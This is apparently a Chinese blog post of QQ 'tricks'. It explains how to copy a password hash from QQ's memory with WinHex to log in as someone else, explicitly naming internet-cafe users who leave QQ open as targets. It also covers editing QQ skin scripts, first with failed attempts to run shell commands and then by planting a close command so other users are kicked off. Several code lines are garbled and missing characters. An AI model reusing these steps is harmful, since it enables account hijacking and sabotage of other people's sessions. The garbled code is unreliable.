QQ的一点小技巧

栏目: 软件技术 / 发布于: / 人气:1.17W

1.首先打开qq,登录.一键切换到TM.
我没有装TM,找了一下,发现QQ里的更新好友也可以.
好友与资料-->更新好友
打开WinHex,打开内存工具.搜索"PWDHASH". 这里应该看到qq登录的参数了

吧.
------------图1(1.bmp)---------------
把它们都复制下来.加到你的qq的快捷方式中就可以实现自动登录了.

/START QQUIN:QQ号 PWDHASH:加密的密码 /STAT:40

QQUIN:QQ号
PWDHASH:加密的密码
/STAT:40 (40 是隐身登陆 41 是正常登陆直接上线的那种。。。)

"D:Program FilesTencentqq" /START QQUIN:12345678

PWDHASH:jplJ52wvuLMpK0dFxqYPua== /STAT:40 /EMB_HWND:0
------------图2(2.bmp)---------------
这样可以使多个QQ登陆了.
当然以后在网吧看到谁没关QQ,他就有点郁闷了.我们虽然得不到密码,但是得

到了HASHPWD,还是可以随时登陆.

2.看了下网上的关于禁止使用QQ,好象都是网管封掉UDP的端口.搞的自己也不

能用了.
而我们想要的是,自己能上,而别人不得.
我的方法是使用QQ皮肤.呵呵~
有点另类,想别人也不会想到我们动了手脚吧~
找到QQ路径下的NewSkinsQQ2005文件夹,看到了没,有个文件.
嘿嘿,是不是有点懂了.
小试身手.写个msgbox "LoveXia",0,"hello",换下皮肤,弹出对话框了吧?
------------图3(3.bmp)---------------
来搞大点.
Set shell = CreateObject("l")
""
或者直接写一行CreateObject("l") ""
实验一下.我KAO!高兴太早了!什么反映都没.
汽车人变形!来Execute
-------------------
a=inputbox("EXEC你!")
msgbox(a)
Execute(a)
-------------------
------------图4(4.bmp)---------
对话框里CreateObject("l") ""
msgbox出来了.但是Execute就是没反映,郁闷啊郁闷,网上谁说的漏洞来着.
------------图5(5.bmp)---------
晕,再变:
----------------------------
str1="Crea" & chr(116)& "eObject(" & chr(34) & "WScrip" & chr(116)&

"l"&chr(34)&") "&chr(34)&""&chr(34)
msgbox str1
Execute str1
----------------------------
还是错的!!!!!!不出来.放弃5555555~~~~~.看看别的.
发现一个函数,ommand,QQ自带的.
--------------------
'上面的三个按钮
Sub MinButton_onClick()
ommand 1,2
End Sub
--------------------
单击响应最小化.呵呵.有点意思哦.
-----------------
Sub CloseButton_onClick()
ommand 1,3
End Sub
-----------------
今天的主角出场了.关闭QQ.
如果,如果我们把它放在代码最前面,嘿嘿.知道了吧.
具体操作如下:
准备2个皮肤,先登陆自己的QQ,然后换皮肤.
修改默认QQ皮肤下的
在DIM也就是变量声明下,加上ommand 1,3,保存.
登陆其它QQ看看,呵呵,刚登陆就被关闭了.
大家可以狠点,2个皮肤一样.只是不一样,这样别人怎么也看不出

手脚了.

哎呀,说了.一大堆话,其实就为了这几个字.
被人扔鸡蛋了,-_-|
大家可以试试,别的参数
ommand 61,0 '天气预报
ommand 40,1 '宠物

累死了.大家自己发现吧.

差不多就到这里了.
早起为GF养宝宝.呵呵~~~

Tags：qq